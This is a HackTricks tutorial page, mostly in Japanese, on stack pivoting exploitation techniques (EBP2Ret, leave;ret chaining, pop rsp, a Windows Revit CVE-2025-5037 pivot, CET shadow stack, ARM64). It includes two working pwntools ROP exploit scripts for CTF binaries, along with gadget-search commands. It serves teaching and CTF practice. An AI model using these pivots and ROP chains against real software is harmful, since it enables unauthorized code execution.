Stack Pivoting

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

Basic Information

このテクニックは、フレームポインタと leave; ret 命令シーケンスの慎重な使用を通じて、複数の関数の実行を連鎖させるために Base Pointer (EBP/RBP) を操作する能力を悪用します。

補足として、x86/x86-64では leave は次と等価です:

mov       rsp, rbp   ; mov esp, ebp on x86
pop       rbp        ; pop ebp on x86

そして保存された EBP/RBP は保存された EIP/RIP の前にスタック上にあるため、スタックを制御することでそれを操作できます。

注意

  • 64-bit 環境では EBP→RBP、ESP→RSP に置き換えてください。意味は同じです。
  • 一部のコンパイラはフレームポインタを省略します(“EBP might not be used” を参照)。その場合、leave が存在しない可能性があり、この手法は機能しません。

EBP2Ret

この手法は、保存された EBP/RBP を変更できるが EIP/RIP を直接変更する方法がない 場合に特に有用です。関数のエピローグの挙動を利用します。

もし fvuln の実行中に、スタック上にシェルコードや ROP チェーンのアドレスがあるメモリ領域を指す fake EBP を挿入できれば(pop を考慮して amd64 では +8 バイト、x86 では +4 バイト)、間接的に RIP を制御できます。関数がリターンすると、leave は RSP を作成した場所に設定し、続く pop rbp によって RSP が減少して、結果的にそこに攻撃者が置いたアドレスを指すようになります。その後 ret がそのアドレスを使います。

ここで注意すべきは、2つのアドレスを知る必要があることです: ESP/RSP が移動する先のアドレス、そして ret が取り出すそのアドレスに格納されている値です。

Exploit Construction

まず、任意のデータ/アドレスを書き込めるアドレスを把握する必要があります。RSP はここを指し、最初の ret を消費します

次に、実行を移すために ret が使うアドレスを選びます。使える候補は:

  • 有効な ONE_GADGET のアドレス。
  • system() のアドレスと適切なリターン/引数(x86 では: ret のターゲット = &system、その後 4 バイトのジャンク、次に &"/bin/sh")。
  • jmp esp; ガジェットのアドレス(ret2esp)に続けてインラインシェルコード。
  • 書き込み可能なメモリ上に配置した ROP チェーン。

制御領域内のこれらのアドレスの前には、leave による pop ebp/rbp のためのスペース(amd64 で 8B、x86 で 4B)があることを忘れないでください。これらのバイトを利用して 2つ目の fake EBP を設定し、最初の呼び出しが戻った後も制御を維持できます。

Off-By-One Exploit

保存された EBP/RBP の下位バイトのみを変更できる 場合に使われるバリアントがあります。その場合、ret でジャンプするアドレスを格納するメモリ位置は、1バイトの上書きでリダイレクトできるように元の EBP/RBP と最初の3バイト/5バイトを共有している必要があります。通常は下位バイト(オフセット 0x00)を増やして、近傍のページやアラインされた領域内で可能な限り遠くにジャンプします。

また、スタックに RET sled を置き、末尾に本物の ROP チェーンを配置することで、新しい RSP がスレッド内を指して最終的な ROP チェーンが実行される確率を高めることもよく行われます。

EBP Chaining

スタックの保存された EBP スロットに制御可能なアドレスを置き、EIP/RIPleave; ret ガジェットを置くことで、ESP/RSP を攻撃者が制御するアドレスへ移動させることが可能です。

今や RSP は制御され、次の命令は ret です。制御されたメモリには次のようなものを配置します:

  • &(next fake EBP) -> leavepop ebp/rbp によってロードされる。
  • &system() -> ret によって呼び出される。
  • &(leave;ret) -> system が終わると RSP を次の fake EBP に移動して継続する。
  • &("/bin/sh") -> system の引数。

このようにして複数の fake EBP を連鎖させ、プログラムのフローを制御することができます。

これは ret2lib に似ていますが、より複雑でエッジケースでのみ有用です。

Moreover, here you have an example of a challenge that uses this technique with a stack leak to call a winning function. This is the final payload from the page:

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')

LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229

payload = flat(
0x0,               # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)

payload = payload.ljust(96, b'A')     # pad to 96 (reach saved RBP)

payload += flat(
buffer,         # Load leaked address in RBP
LEAVE_RET       # Use leave to move RSP to the user ROP chain and ret to execute it
)

pause()
p.sendline(payload)
print(p.recvline())

amd64 アラインメントのヒント: System V ABI は call sites で 16 バイトのスタックアラインメントを要求します。チェーンが system のような関数を呼ぶ場合、アラインメントを維持し movaps によるクラッシュを避けるために、呼び出しの前にアラインメントガジェット(例: ret、または sub rsp, 8 ; ret)を追加してください。

EBP might not be used

As explained in this post, if a binary is compiled with some optimizations or with frame-pointer omission, the EBP/RBP never controls ESP/RSP. Therefore, any exploit working by controlling EBP/RBP will fail because the prologue/epilogue doesn’t restore from the frame pointer.

  • Not optimized / frame pointer used:
push   %ebp         # save ebp
mov    %esp,%ebp    # set new ebp
sub    $0x100,%esp  # increase stack size
.
.
.
leave               # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret                 # return
  • 最適化済み / フレームポインタ省略:
push   %ebx         # save callee-saved register
sub    $0x100,%esp  # increase stack size
.
.
.
add    $0x10c,%esp  # reduce stack size
pop    %ebx         # restore
ret                 # return

On amd64ではleave ; retの代わりにpop rbp ; retがよく見られますが、frame pointerが完全に省略されている場合はピボットできるrbpベースのepilogueは存在しません。

Other ways to control RSP

pop rsp gadget

In this page この手法を使った例を確認できます。
そのチャレンジでは2つの特定の引数で関数を呼び出す必要があり、pop rsp gadgetがあり、leak from the stackがありました:

# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')

POP_CHAIN = 0x401225       # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229     # pop RSI and R15

# The payload starts
payload = flat(
0,                 # r13
0,                 # r14
0,                 # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,               # r15
elf.sym['winner']
)

payload = payload.ljust(104, b'A')     # pad to 104

# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer             # rsp
)

pause()
p.sendline(payload)
print(p.recvline())

xchg , rsp gadget

pop <reg>                <=== return pointer
<reg value>
xchg <reg>, rsp

jmp esp

ret2esp の手法はここで確認してください:

Ret2esp / Ret2reg

pivot gadgets を素早く見つける

お好みの gadget finder を使って、古典的な pivot primitives を検索してください:

  • leave ; ret を関数やライブラリで探す
  • pop rsp / xchg rax, rsp ; ret
  • add rsp, <imm> ; ret(x86 では add esp, <imm> ; ret

例:

# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"

# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"

Classic pivot staging pattern

多くの CTFs/exploits で使われる堅牢な pivot 戦略:

  1. 小さな初期オーバーフローを使い、read/recv を大きな書込み可能領域(例: .bss, heap, または mapped RW memory)に呼び出して、そこに完全な ROP チェインを配置する。
  2. その領域に RSP を移動するために、pivot gadget (leave ; ret, pop rsp, xchg rax, rsp ; ret) にリターンする。
  3. ステージされたチェインを続ける(例: leak libc、mprotect を呼び出し、read で shellcode を読み込み、それにジャンプする)。

Windows: Destructor-loop weird-machine pivots (Revit RFA case study)

クライアント側のパーサは、攻撃者が制御するオブジェクトフィールドから派生した関数ポインタを間接的に呼び出す destructor loops を実装していることがある。各反復でちょうど一回の間接呼び出し(“one-gadget” machine)しか行われない場合、これを信頼できる stack pivot と ROP エントリに変換できる。

Observed in Autodesk Revit RFA deserialization (CVE-2025-5037):

  • AString の細工されたオブジェクトは、オフセット0に攻撃者バイトへのポインタを置く。
  • The destructor loop effectively executes one gadget per object:
rcx = [rbx]              ; object pointer (AString*)
rax = [rcx]              ; pointer to controlled buffer
call qword ptr [rax]     ; execute [rax] once per object

二つの実用的なピボット:

  • Windows 10 (32-bit heap addrs): misaligned “monster gadget” が 8B E0mov esp, eax を含み、最終的に ret を実行して、call primitive から heap-based ROP chain へピボットする。
  • Windows 11 (full 64-bit addrs): 2つのオブジェクトを使って constrained weird-machine pivot を駆動する:
    • Gadget 1: push rax ; pop rbp ; ret(元の rax を rbp に移す)
    • Gadget 2: leave ; ... ; retmov rsp, rbp ; pop rbp ; ret になる)、これにより最初のオブジェクトのバッファにピボットし、そこで conventional ROP chain が続く。

ピボット後の Windows x64 に関するヒント:

  • 0x20バイトの shadow space を尊重し、call サイトの前で 16バイト境界を維持する。リテラルをリターンアドレスの上に置き、lea rcx, [rsp+0x20] ; call rax のようなガジェットに続けて pop rax ; ret を使うと、制御フローを壊さずにスタック上のアドレスを渡せることが多い。
  • Non-ASLR helper modules(存在する場合)は安定したガジェットプールや LoadLibraryW/GetProcAddress のようなインポートを提供し、ucrtbase!system のようなターゲットを動的に解決できる。
  • writable thunk を介して欠如しているガジェットを作る方法: 有望なシーケンスが writable function pointer を介した call で終わる場合(例: DLL import thunk や .data 内の関数ポインタ)、そのポインタを書き換えて pop rax ; ret のような無害な一段ステップにする。するとそのシーケンスは ret で終わるかのように振る舞い(例: mov rdx, rsi ; mov rcx, rdi ; ret)、他のレジスタを壊さずに Windows x64 の引数レジスタをロードするのに極めて有用になる。

完全なチェーン構築とガジェット例は以下の参照を参照してください。

stack pivoting を破る現代の緩和策 (CET/Shadow Stack)

最近の x86 CPU と OS は CET Shadow Stack (SHSTK) をますます導入している。SHSTK が有効だと、ret は通常のスタック上の戻り先アドレスをハードウェア保護された shadow stack と比較し、不一致があれば Control-Protection fault を発生させてプロセスを終了させる。したがって、EBP2Ret/leave;ret ベースのピボットのような技法は、ピボットされたスタックから最初の ret が実行された時点でクラッシュする。

  • For background and deeper details see:

CET & Shadow Stack

  • Linux でのクイックチェック:
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'

# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo

# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status   # expect: shstk (and possibly wrss)

# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
  • ラボ/CTF向けメモ:

  • 一部の最新ディストリビューションでは、ハードウェアとglibcのサポートがある場合に CET 対応バイナリ向けに SHSTK を有効にします。VMでの制御されたテストでは、カーネルブートパラメータ nousershstk でシステム全体を無効化するか、起動時に glibc の tunables を使って選択的に有効化できます(参照を参照)。本番ターゲットで緩和策を無効化しないでください。

  • JOP/COOP や SROP ベースの手法は一部のターゲットでまだ有効な場合がありますが、SHSTK は特に ret ベースのピボットを破壊します。

  • Windows メモ: Windows 10+ は user-mode を、Windows 11 は shadow stacks 上に構築された kernel-mode の “Hardware-enforced Stack Protection” を公開します。CET 対応プロセスは ret によるスタックピボット/ROP を防ぎます; 開発者は CETCOMPAT や関連ポリシーでオプトインします(参照)。

ARM64

In ARM64, the prologue and epilogues of the functions don’t store and retrieve the SP register in the stack. Moreover, the RET instruction doesn’t return to the address pointed by SP, but to the address inside x30.

Therefore, by default, just abusing the epilogue you won’t be able to control the SP register by overwriting some data inside the stack. And even if you manage to control the SP you would still need a way to control the x30 register.

  • prologue
sub sp, sp, 16
stp x29, x30, [sp]      // [sp] = x29; [sp + 8] = x30
mov x29, sp             // FP points to frame record
  • epilogue
ldp x29, x30, [sp]      // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret

Caution

ARM64 でスタックピボットに類似したことを行う方法は、まず SP を制御できること(あるレジスタの値を SP に渡せることによる、あるいは何らかの理由で SP がスタックからアドレスを取っており overflow がある等)であり、その後 epilogue を悪用して 制御された SP から x30 レジスタをロードし、RET でそこに戻ることです。

Also in the following page you can see the equivalent of Ret2esp in ARM64:

Ret2esp / Ret2reg

参考

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする